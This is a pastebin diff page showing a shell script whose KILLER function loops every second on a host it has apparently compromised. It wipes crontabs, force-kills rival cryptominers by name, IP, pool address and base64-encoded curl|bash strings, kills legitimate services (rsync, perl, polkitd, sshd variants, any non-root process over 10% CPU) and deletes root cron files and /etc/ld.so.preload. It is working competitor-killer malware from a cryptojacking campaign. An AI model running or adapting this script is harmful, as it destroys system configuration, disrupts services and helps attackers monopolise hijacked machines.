View difference between Paste ID: 3UPTWvUk and 6ptLSGAu
SHOW: | | - or go back to the newest paste.
1
#!/bin/sh
2
3
KILLER() {
4
	crontab -l | grep '192.99.142.226\|82.146.58.234\|83.220.169.247\|91.201.42.5' | crontab -r
5
	crontab -l | grep 'pastebin.com' | crontab -r
6
	crontab -l | grep 'gitee.com' | crontab -r
7
	crontab -l | grep '107.174.47.156' | crontab -r
8
	crontab -l | grep '83.220.169.24' | crontab -r
9
	crontab -l | grep '51.38.203.146' | crontab -r
10
	crontab -l | grep 'mr.sh' | crontab -r
11
	crontab -l | grep '2mr.sh' | crontab -r
12
	crontab -l | grep 'cr5.sh' | crontab -r
13
	crontab -l | grep 'logo9.jpg' | crontab -r
14
	ps aux | grep '192.99.142.226\|82.146.58.234\|83.220.169.247\|51.68.173.240\|91.201.42.5' | awk '{print $2}' | xargs kill -9
15
	ps aux | grep -v grep | grep 'kworkerdssx -c\' | awk '{print $2}' | xargs kill -9
16
	ps aux | grep -v grep | grep '/tmp/dl' | awk '{print $2}' | xargs kill -9
17
	ps aux | grep -v grep | grep '/tmp/ddg' | awk '{print $2}' | xargs kill -9
18
	ps aux | grep -v grep | grep '/tmp/pprt' | awk '{print $2}' | xargs kill -9
19
	ps aux | grep -v grep | grep '/tmp/ppol' | awk '{print $2}' | xargs kill -9
20
	ps aux | grep -v grep | grep '/tmp/65ccEJ7\' | awk '{print $2}' | xargs kill -9
21
	ps aux | grep -v grep | grep '/tmp/jmxx\' | awk '{print $2}' | xargs kill -9
22
	ps aux | grep -v grep | grep '/tmp/2Ne80nA\' | awk '{print $2}' | xargs kill -9
23
	ps aux | grep -v grep | grep 'IOFoqIgyC0zmf2UR'| awk '{print $2}' | xargs kill -9
24
	ps aux | grep -v grep | grep '45.76.122.92'| awk '{print $2}' | xargs kill -9
25
	ps aux | grep -v grep | grep '51.38.191.178'| awk '{print $2}' | xargs kill -9
26
	ps aux | grep -v grep | grep '51.15.56.161'| awk '{print $2}' | xargs kill -9
27
	ps aux | grep -v grep | grep '86s.jpg'| awk '{print $2}' | xargs kill -9
28
	#ps aux | grep -v grep | grep 'pastebin.com'| awk '{print $2}' | xargs kill -9
29
	ps aux | grep -v grep | grep 'aGTSGJJp'| awk '{print $2}' | xargs kill -9
30
	ps aux | grep -v grep | grep 'nMrfmnRa'| awk '{print $2}' | xargs kill -9
31
	ps aux | grep -v grep | grep 'PuNY5tm2'| awk '{print $2}' | xargs kill -9
32
	ps aux | grep -v grep | grep 'I0r8Jyyt'| awk '{print $2}' | xargs kill -9
33
	ps aux | grep -v grep | grep 'AgdgACUD'| awk '{print $2}' | xargs kill -9
34
	ps aux | grep -v grep | grep 'uiZvwxG8'| awk '{print $2}' | xargs kill -9
35
	ps aux | grep -v grep | grep 'hahwNEdB'| awk '{print $2}' | xargs kill -9
36
	ps aux | grep -v grep | grep 'BtwXn5qH'| awk '{print $2}' | xargs kill -9
37
	ps aux | grep -v grep | grep '3XEzey2T'| awk '{print $2}' | xargs kill -9
38
	ps aux | grep -v grep | grep 't2tKrCSZ'| awk '{print $2}' | xargs kill -9
39
	ps aux | grep -v grep | grep 'HD7fcBgg'| awk '{print $2}' | xargs kill -9
40
	ps aux | grep -v grep | grep 'zXcDajSs'| awk '{print $2}' | xargs kill -9
41
	ps aux | grep -v grep | grep '3lmigMo'| awk '{print $2}' | xargs kill -9
42
	ps aux | grep -v grep | grep 'AkMK4A2'| awk '{print $2}' | xargs kill -9
43
	ps aux | grep -v grep | grep 'AJ2AkKe'| awk '{print $2}' | xargs kill -9
44
	ps aux | grep -v grep | grep 'HiPxCJRS'| awk '{print $2}' | xargs kill -9
45
	ps aux | grep -v grep | grep 'http_0xCC030'| awk '{print $2}' | xargs kill -9
46
	ps aux | grep -v grep | grep 'http_0xCC031'| awk '{print $2}' | xargs kill -9
47
	ps aux | grep -v grep | grep 'http_0xCC032'| awk '{print $2}' | xargs kill -9
48
	ps aux | grep -v grep | grep 'http_0xCC033'| awk '{print $2}' | xargs kill -9
49
	ps aux | grep -v grep | grep "C4iLM4L"| awk '{print $2}'| xargs kill -9
50
	ps aux | grep -v grep | grep 'aziplcr72qjhzvin'| awk '{print $2}' | xargs kill -9
51
	ps aux | grep -v grep | awk '{ if(substr($11,1,2)=="./" && substr($12,1,2)=="./") print $2 }' | xargs kill -9
52
	ps aux | grep -v grep | grep '/boot/vmlinuz'| awk '{print $2}' | xargs kill -9
53
	ps aux | grep -v grep | grep "i4b503a52cc5"| awk '{print $2}'|xargs kill -9
54
	ps aux | grep -v grep | grep "dgqtrcst23rtdi3ldqk322j2"| awk '{print $2}'|xargs kill -9
55
	ps aux | grep -v grep | grep "2g0uv7npuhrlatd"| awk '{print $2}'|xargs kill -9
56
	ps aux | grep -v grep | grep "nqscheduler"| awk '{print $2}'| xargs kill -9
57
	ps aux | grep -v grep | grep "rkebbwgqpl4npmm"| awk '{print $2}'| xargs kill -9
58
	ps aux | grep -v grep | grep -v aux |grep "]"| awk '$3>10.0{print $2}'| xargs kill -9
59
	ps aux | grep -v grep | grep "2fhtu70teuhtoh78jc5s"| awk '{print $2}'| xargs kill -9
60
	ps aux | grep -v grep | grep "0kwti6ut420t"| awk '{print $2}'| xargs kill -9
61
	ps aux | grep -v grep | grep "44ct7udt0patws3agkdfqnjm"| awk '{print $2}'| xargs kill -9
62
	ps aux | grep -v grep | grep -v "/" | grep -v "-" | grep -v "_" | awk 'length($11)>19{print $2}' | xargs kill -9
63
	ps aux | grep -v grep | grep  "\[^" | awk '{print $2}'| xargs kill -9
64
	ps aux | grep -v grep | grep "rsync" | awk '{print $2}'| xargs kill -9
65
	ps aux | grep -v grep | grep "watchd0g" | awk '{print $2}'| xargs kill -9
66
	ps aux | grep -v grep | egrep 'wnTKYg|2t3ik|qW3xT.2|ddg' | awk '{print $2}' | xargs kill -9
67
	#ps aux | grep -v grep | grep " \["|grep watchbog| awk '{print $2}'| xargs kill -9
68
	#ps aux | grep -v grep | grep " \["|grep bash| awk '{print $2}'| xargs kill -9
69
	ps aux | grep -v grep | grep "158.69.133.18:8220"| awk '{print $2}'| xargs kill -9
70
	ps aux | grep -v grep | grep "/tmp/java" | awk '{print $2}'| xargs kill -9
71
	ps aux | grep -v grep | grep 'gitee.com'| awk '{print $2}' | xargs kill -9
72
	ps aux | grep -v grep | grep '/tmp/java' | awk '{print $2}'| xargs kill -9
73
	ps aux | grep -v grep | grep '104.248.4.162'| awk '{print $2}' | xargs kill -9
74
	ps aux | grep -v grep | grep '89.35.39.78'| awk '{print $2}' | xargs kill -9
75
	ps aux | grep -v grep | grep '/dev/shm/z3.sh'| awk '{print $2}' | xargs kill -9
76
	#ps aux | grep -v grep | grep '/bin/bash'| awk '{print $2}' | xargs kill -9
77
	ps aux | grep -v grep | grep 'kthrotlds' | awk '{print $2}'| xargs kill -9
78
	ps aux | grep -v grep | grep 'ksoftirqds' | awk '{print $2}'| xargs kill -9
79
	ps aux | grep -v grep | grep 'netdns' | awk '{print $2}'| xargs kill -9
80
	ps aux | grep -v grep | grep 'watchdogs' | awk '{print $2}'| xargs kill -9
81
	ps aux | grep -v grep | grep -v root | grep -v dblaunch | grep -v dblaunchs | grep -v dblaunched | grep -v apache2 | grep -v atd |awk '$3>10.0{print $2}' | xargs kill -9
82
	ps aux | grep -v grep | grep -v aux |grep "\-bash"| awk '{print $2}'| xargs kill -9
83
	ps aux | grep -v grep | grep -v bin| grep sshd| awk '{print $2}'| xargs kill -9
84
	ps aux | grep -v grep | grep -v aux | grep " ps"| awk '{print $2}'| xargs kill -9
85
	ps aux | grep -v grep | grep "sync_supers" | cut -c 9-15 | xargs kill -9
86
	ps aux | grep -v grep | grep "cpuset" | cut -c 9-15 | xargs kill -9
87
	ps aux | grep -v grep | grep -v aux |grep "x]"| awk '{print $2}'| xargs kill -9
88
	ps aux | grep -v grep | grep -v aux |grep "x]"| awk '{print $2}'| xargs kill -9
89
	ps aux | grep -v grep | grep -v aux |grep "sh] <"| awk '{print $2}'| xargs kill -9
90
	ps aux | grep -v grep | grep -v aux |grep " \[]"| awk '{print $2}'| xargs kill -9
91
	ps aux | grep -v grep | grep '/tmp/l.sh'| awk '{print $2}' | xargs kill -9
92
	ps aux | grep -v grep | grep '/tmp/zmcat' | awk '{print $2}' | xargs kill -9
93
	ps aux | grep -v grep | grep 'hahwNEdB'| awk '{print $2}' | xargs kill -9
94
	ps aux | grep -v grep | grep 'CnzFVPLF'| awk '{print $2}' | xargs kill -9
95
	ps aux | grep -v grep | grep 'CvKzzZLs'| awk '{print $2}' | xargs kill -9
96
	ps aux | grep -v grep | grep 'aziplcr72qjhzvin'| awk '{print $2}' | xargs kill -9
97
	ps aux | grep -v grep | grep '/tmp/udevd'| awk '{print $2}' | xargs kill -9
98
	ps aux | grep -v grep | grep 'KCBjdXJsIC1vIC0gaHR0cDovLzg5LjIyMS41Mi4xMjIvcy5zaCApIHwgYmFzaCA' | awk '{print $2}' | xargs kill -9
99
	ps aux | grep -v grep | grep 'Y3VybCAtcyBodHRwOi8vMTA3LjE3NC40Ny4xNTYvbXIuc2ggfCBiYXNoIC1zaAo' | awk '{print $2}' | xargs kill -9
100
	ps aux | grep -v grep | grep 'sustse'| awk '{print $2}' | xargs kill -9
101
	ps aux | grep -v grep | grep 'sustse3'| awk '{print $2}' | xargs kill -9
102
	ps aux | grep -v grep | grep 'mr.sh'| grep 'wget'| awk '{print $2}' | xargs kill -9
103
	ps aux | grep -v grep | grep 'mr.sh'| grep 'curl'| awk '{print $2}' | xargs kill -9
104
	ps aux | grep -v grep | grep '2mr.sh'| grep 'wget' | awk '{print $2}' | xargs kill -9
105
	ps aux | grep -v grep | grep '2mr.sh'| grep 'curl' | awk '{print $2}' | xargs kill -9
106
	ps aux | grep -v grep | grep 'cr5.sh'| grep 'wget' | awk '{print $2}' | xargs kill -9
107
	ps aux | grep -v grep | grep 'cr5.sh'| grep 'curl' | awk '{print $2}' | xargs kill -9
108
	ps aux | grep -v grep | grep 'logo9.jpg' | grep 'wget' | awk '{print $2}' | xargs kill -9
109
	ps aux | grep -v grep | grep 'logo9.jpg' | grep 'curl' | awk '{print $2}' | xargs kill -9
110
	ps aux | grep -v grep | grep 'j2.conf' | awk '{print $2}' | xargs kill -9
111
	ps aux | grep -v grep | grep 'luk-cpu' | grep 'wget' | awk '{print $2}' | xargs kill -9
112
	ps aux | grep -v grep | grep 'luk-cpu' | grep 'curl' | awk '{print $2}' | xargs kill -9
113
	ps aux | grep -v grep | grep 'ficov' | grep 'wget' | awk '{print $2}' | xargs kill -9
114
	ps aux | grep -v grep | grep 'ficov' | grep 'curl' | awk '{print $2}' | xargs kill -9
115
	ps aux | grep -v grep | grep 'he.sh' | grep 'wget' | awk '{print $2}' | xargs kill -9
116
	ps aux | grep -v grep | grep 'he.sh' | grep 'curl' | awk '{print $2}' | xargs kill -9
117
	ps aux | grep -v grep | grep 'miner.sh' | grep 'wget' | awk '{print $2}' | xargs kill -9
118
	ps aux | grep -v grep | grep 'miner.sh' | grep 'curl' | awk '{print $2}' | xargs kill -9
119
	ps aux | grep -v grep | grep 'nullcrew' | grep 'wget' | awk '{print $2}' | xargs kill -9
120
	ps aux | grep -v grep | grep 'nullcrew' | grep 'curl' | awk '{print $2}' | xargs kill -9
121
	ps aux | grep -v grep | grep '107.174.47.156' | awk '{print $2}' | xargs kill -9
122
	ps aux | grep -v grep | grep '83.220.169.247' | awk '{print $2}' | xargs kill -9
123
	ps aux | grep -v grep | grep '51.38.203.146' | awk '{print $2}' | xargs kill -9
124
	ps aux | grep -v grep | grep '144.217.45.45' | awk '{print $2}' | xargs kill -9	
125
	ps aux | grep -v grep | grep '107.174.47.181' | awk '{print $2}' | xargs kill -9
126
	ps aux | grep -v grep | grep '176.31.6.16' | awk '{print $2}' | xargs kill -9
127
	ps auxf| grep -v grep | grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
128
	ps auxf| grep -v grep | grep "pool.t00ls.ru"|awk '{print $2}'|xargs kill -9
129
	ps auxf| grep -v grep | grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
130
	ps auxf| grep -v grep | grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9
131
	ps auxf| grep -v grep | grep "[email protected]"|awk '{print $2}'|xargs kill -9
132
	ps auxf| grep -v grep | grep "monerohash.com"|awk '{print $2}'|xargs kill -9
133
	ps auxf| grep -v grep | grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9
134
	ps auxf| grep -v grep | grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9
135
	ps auxf| grep -v grep | grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9
136
	ps auxf| grep -v grep | grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9
137
	ps auxf| grep -v grep | grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9
138
	ps auxf| grep -v grep | grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9
139
	ps auxf| grep xiaoyao | awk '{print $2}'|xargs kill -9
140
	ps auxf| grep xiaoxue | awk '{print $2}'|xargs kill -9
141
	netstat -antp | grep '46.243.253.15' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
142
	netstat -antp | grep '176.31.6.16' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
143
	pgrep -f monerohash|xargs kill -9
144
	pgrep -f L2Jpbi9iYXN|xargs kill -9
145
	pgrep -f xzpauectgr|xargs kill -9
146
	pgrep -f slxfbkmxtd|xargs kill -9
147
	pgrep -f mixtape|xargs kill -9
148
	pgrep -f addnj|xargs kill -9
149
	pgrep -f 200.68.17.196|xargs kill -9
150
	pgrep -f IyEvYmluL3NoCgpzUG|xargs kill -9
151
	pgrep -f KHdnZXQgLXFPLSBodHRw|xargs kill -9
152
	pgrep -f FEQ3eSp8omko5nx9e97hQ39NS3NMo6rxVQS3|xargs kill -9
153
	pgrep -f Y3VybCAxOTEuMTAxLjE4MC43Ni9saW4udHh0IHxzaAo|xargs kill -9
154
	pgrep -f mwyumwdbpq.conf|xargs kill -9
155
	pgrep -f honvbsasbf.conf|xargs kill -9
156
	pgrep -f mqdsflm.cf|xargs kill -9
157
	pgrep -f stratum|xargs kill -9
158
	pgrep -f lower.sh|xargs kill -9
159
	pgrep -f ./ppp|xargs kill -9
160
	pgrep -f cryptonight|xargs kill -9
161
	pgrep -f ./seervceaess|xargs kill -9
162
	pgrep -f ./servceaess|xargs kill -9
163
	pgrep -f ./servceas|xargs kill -9
164
	pgrep -f ./servcesa|xargs kill -9
165
	pgrep -f ./vsp|xargs kill -9
166
	pgrep -f ./jvs|xargs kill -9
167
	pgrep -f ./pvv|xargs kill -9
168
	pgrep -f ./vpp|xargs kill -9
169
	pgrep -f ./pces|xargs kill -9
170
	pgrep -f ./rspce|xargs kill -9
171
	pgrep -f ./haveged|xargs kill -9
172
	pgrep -f ./jiba|xargs kill -9
173
	pgrep -f ./watchbog|xargs kill -9
174
	pgrep -f ./A7mA5gb|xargs kill -9  
175
	pgrep -f kacpi_svc|xargs kill -9
176
	pgrep -f kswap_svc|xargs kill -9
177
	pgrep -f kauditd_svc|xargs kill -9
178
	pgrep -f kpsmoused_svc|xargs kill -9
179
	pgrep -f kseriod_svc|xargs kill -9
180
	pgrep -f kthreadd_svc|xargs kill -9
181
	pgrep -f ksoftirqd_svc|xargs kill -9
182
	pgrep -f kintegrityd_svc|xargs kill -9
183
	pgrep -f jawa|xargs kill -9
184
	pgrep -f oracle.jpg|xargs kill -9
185
	pgrep -f 45cToD1FzkjAxHRBhYKKLg5utMGEN|xargs kill -9
186
	pgrep -f 188.209.49.54|xargs kill -9
187
	pgrep -f 181.214.87.241|xargs kill -9
188
	pgrep -f etnkFgkKMumdqhrqxZ6729U7bY8pzRjYzGbXa5sDQ|xargs kill -9
189
	pgrep -f 47TdedDgSXjZtJguKmYqha4sSrTvoPXnrYQEq2Lbj|xargs kill -9
190
	pgrep -f etnkP9UjR55j9TKyiiXWiRELxTS51FjU9e1UapXyK|xargs kill -9
191
	pgrep -f servim|xargs kill -9
192
	pgrep -f kblockd_svc|xargs kill -9
193
	pgrep -f native_svc|xargs kill -9
194
	pgrep -f sshd2|xargs kill -9
195
	pgrep -f ynn|xargs kill -9
196
	pgrep -f perl|xargs kill -9
197
	pgrep -f 65ccEJ7|xargs kill -9
198
	pgrep -f jmxx|xargs kill -9
199
	pgrep -f 2Ne80nA|xargs kill -9
200
	pgrep -f sysstats|xargs kill -9
201
	pgrep -f systemxlv|xargs kill -9
202
	pgrep -f watchbog|xargs kill -9
203
	pgrep -f OIcJi1m|xargs kill -9
204
	pkill -f biosetjenkins
205
	pkill -f Loopback
206
	pkill -f apaceha
207
	pkill -f cryptonight
208
	pkill -f stratum
209
	pkill -f mixnerdx
210
	pkill -f performedl
211
	pkill -f JnKihGjn
212
	pkill -f irqba2anc1
213
	pkill -f irqba5xnc1
214
	pkill -f irqbnc1
215
	pkill -f ir29xc1
216
	pkill -f conns
217
	pkill -f irqbalance
218
	pkill -f crypto-pool
219
	pkill -f XJnRj
220
	pkill -f mgwsl
221
	pkill -f pythno
222
	pkill -f jweri
223
	pkill -f lx26
224
	pkill -f NXLAi
225
	pkill -f BI5zj
226
	pkill -f askdljlqw
227
	pkill -f minerd
228
	pkill -f minergate
229
	pkill -f Guard.sh
230
	pkill -f ysaydh
231
	pkill -f bonns
232
	pkill -f donns
233
	pkill -f kxjd
234
	pkill -f Duck.sh
235
	pkill -f bonn.sh
236
	pkill -f conn.sh
237
	pkill -f kworker34
238
	pkill -f kw.sh
239
	pkill -f pro.sh
240
	pkill -f polkitd
241
	pkill -f acpid
242
	pkill -f icb5o
243
	pkill -f nopxi
244
	pkill -f irqbalanc1
245
	pkill -f minerd
246
	pkill -f i586
247
	pkill -f gddr
248
	pkill -f mstxmr
249
	pkill -f ddg.2011
250
	pkill -f wnTKYg
251
	pkill -f deamon
252
	pkill -f disk_genius
253
	pkill -f sourplum
254
	pkill -f polkitd
255
	pkill -f nanoWatch
256
	pkill -f zigw	
257
	pkill -f devtool	
258
	pkill -f devtools	
259
	pkill -f systemctI	
260
	pkill -f watchbog
261
	pkill -f cryptonight
262
	pkill -f sustes
263
	pkill -f xmrig
264
	pkill -f xmr-stak
265
	pkill -f suppoie
266
	pkill -f zer0day.ru
267
	pkill -f dbus-daemon--system
268
	pkill -f nullcrew
269
	pkill -f systemctI
270
	pkill -f kworkerds
271
	pkill -f init10.cfg
272
	pkill -f /wl.conf
273
	pkill -f crond64
274
	pkill -f sustse
275
	pkill -f vmlinuz
276
	rm -rf /tmp/wc.conf
277
	rm -rf /tmp/sustse
278
	rm -rf /tmp/php
279
	rm -rf /tmp/p2.conf
280
	rm -rf /tmp/pprt
281
	rm -rf /tmp/ppol
282
	rm -rf /tmp/javax/config.sh
283
	rm -rf /tmp/javax/sshd2
284
	rm -rf /tmp/.profile
285
	rm -rf /tmp/1.so
286
	rm -rf /tmp/kworkerds
287
	rm -rf /tmp/kworkerds3
288
	rm -rf /tmp/kworkerdssx
289
	rm -rf /tmp/xd.json
290
	rm -rf /tmp/syslogd
291
	rm -rf /tmp/syslogdb 
292
	rm -rf /tmp/65ccEJ7
293
	rm -rf /tmp/jmxx
294
	rm -rf /tmp/2Ne80nA
295
	rm -rf /tmp/dl
296
	rm -rf /tmp/ddg
297
	rm -rf /tmp/systemxlv
298
	rm -rf /tmp/systemctI
299
	rm -rf /tmp/.abc
300
	rm -rf /tmp/osw.hb
301
	rm -rf /tmp/.tmpleve
302
	rm -rf /tmp/.tmpnewzz  
303
	rm -rf /tmp/.java  
304
	rm -rf /tmp/.omed
305
	rm -rf /tmp/.tmpc
306
	rm -rf /tmp/.tmpleve
307
	rm -rf /tmp/.tmpnewzz
308
	rm -rf /tmp/gates.lod
309
	rm -rf /tmp/conf.n
310
	rm -rf /tmp/update.sh
311
	rm -rf /tmp/devtool
312
	rm -rf /tmp/devtools
313
	rm -rf /tmp/fs
314
	rm -rf /tmp/.rod
315
	rm -rf /tmp/.rod.tgz
316
	rm -rf /tmp/.rod.tgz.1
317
	rm -rf /tmp/.rod.tgz.2
318
	rm -rf /tmp/.mer
319
	rm -rf /tmp/.mer.tgz
320
	rm -rf /tmp/.mer.tgz.1
321
	rm -rf /tmp/.hod
322
	rm -rf /tmp/.hod.tgz
323
	rm -rf /tmp/.hod.tgz.1
324
	rm -rf /tmp/84Onmce
325
	rm -rf /tmp/C4iLM4L
326
	rm -rf /tmp/lilpip
327
	rm -rf /tmp/3lmigMo
328
	rm -rf /tmp/am8jmBP
329
	rm -rf /tmp/tmp.txt
330
	rm -rf /tmp/baby
331
	rm -rf /tmp/.lib
332
	rm -rf /tmp/systemd
333
	rm -rf /tmp/lib.tar.gz
334
	rm -rf /tmp/baby
335
	rm -rf /tmp/java
336
	rm -rf /tmp/j2.conf
337
	rm -rf /tmp/.mynews1234
338
	rm -rf /tmp/a3e12d
339
	rm -rf /tmp/.pt
340
	rm -rf /tmp/.pt.tgz
341
	rm -rf /tmp/.pt.tgz.1
342
	rm -rf /tmp/go
343
	rm -rf /tmp/java
344
	rm -rf /tmp/j2.conf
345
	rm -rf /tmp/.tmpnewasss
346
	rm -rf /tmp/java
347
	rm -rf /tmp/go.sh
348
	rm -rf /tmp/go2.sh
349
	rm -rf /tmp/khugepageds
350
	rm -rf /tmp/.censusqqqqqqqqq
351
	rm -rf /tmp/.kerberods
352
	rm -rf /tmp/kerberods
353
	rm -rf /tmp/seasame
354
	rm -rf /tmp/touch
355
	rm -rf /tmp/.p
356
	rm -rf /tmp/runtime2.sh
357
	rm -rf /tmp/runtime.sh
358
	rm -rf /dev/shm/z3.sh
359
	rm -rf /dev/shm/z2.sh
360
	rm -rf /dev/shm/.scr
361
	rm -rf /dev/shm/.kerberods
362
	rm -f /etc/ld.so.preload
363
	rm -f /usr/local/lib/libioset.so
364
	chattr -i /etc/ld.so.preload
365
	rm -f /etc/ld.so.preload
366
	rm -f /usr/local/lib/libioset.so
367
	rm -rf /tmp/watchdogs
368
	rm -rf /etc/cron.d/tomcat
369
	rm -rf /etc/cron.d/root
370
	rm -rf /var/spool/cron/root
371
	rm -rf /var/spool/cron/crontabs/root
372
	rm -rf /etc/rc.d/init.d/watchdogs
373
	rm -rf /usr/sbin/watchdogs
374
	rm -f /tmp/kthrotlds
375
	rm -f /etc/rc.d/init.d/kthrotlds
376
	rm -rf /tmp/.sysbabyuuuuu12
377
	rm -rf /tmp/logo9.jpg
378
	rm -rf /tmp/miner.sh
379
	rm -rf /tmp/nullcrew
380
	rm -rf /tmp/proc
381
	rm -rf /tmp/2.sh
382
	rm /opt/atlassian/confluence/bin/1.sh
383
	rm /opt/atlassian/confluence/bin/1.sh.1
384
	rm /opt/atlassian/confluence/bin/1.sh.2
385
	rm /opt/atlassian/confluence/bin/1.sh.3
386
	rm /opt/atlassian/confluence/bin/3.sh
387
	rm /opt/atlassian/confluence/bin/3.sh.1
388
	rm /opt/atlassian/confluence/bin/3.sh.2
389
	rm /opt/atlassian/confluence/bin/3.sh.3
390
	rm -rf /var/tmp/f41
391
	rm -rf /var/tmp/2.sh
392
	rm -rf /var/tmp/config.json
393
	rm -rf /var/tmp/xmrig
394
	rm -rf /var/tmp/1.so
395
	rm -rf /var/tmp/kworkerds3
396
	rm -rf /var/tmp/kworkerdssx
397
	rm -rf /var/tmp/kworkerds
398
	rm -rf /var/tmp/wc.conf
399
	rm -rf /var/tmp/nadezhda.
400
	rm -rf /var/tmp/nadezhda.arm
401
	rm -rf /var/tmp/nadezhda.arm.1
402
	rm -rf /var/tmp/nadezhda.arm.2
403
	rm -rf /var/tmp/nadezhda.x86_64
404
	rm -rf /var/tmp/nadezhda.x86_64.1
405
	rm -rf /var/tmp/nadezhda.x86_64.2
406
	rm -rf /var/tmp/sustse3
407
	rm -rf /var/tmp/sustse
408
	rm -rf /var/tmp/moneroocean/
409
	rm -rf /var/tmp/config.json
410
	rm -rf /var/tmp/devtool
411
	rm -rf /var/tmp/devtools
412
	rm -rf /var/tmp/play.sh
413
	rm -rf /var/tmp/systemctI
414
	rm -rf /var/tmp/update.sh
415
	rm -rf /var/tmp/.java
416
	rm -rf /var/tmp/1.sh
417
	rm -rf /var/tmp/conf.n
418
	rm -r /var/tmp/lib
419
	rm -r /var/tmp/.lib
420
	touch /tmp/lok
421
422
};
423
424
425
while true; do 
426
	KILLER
427
	sleep 1;
428
done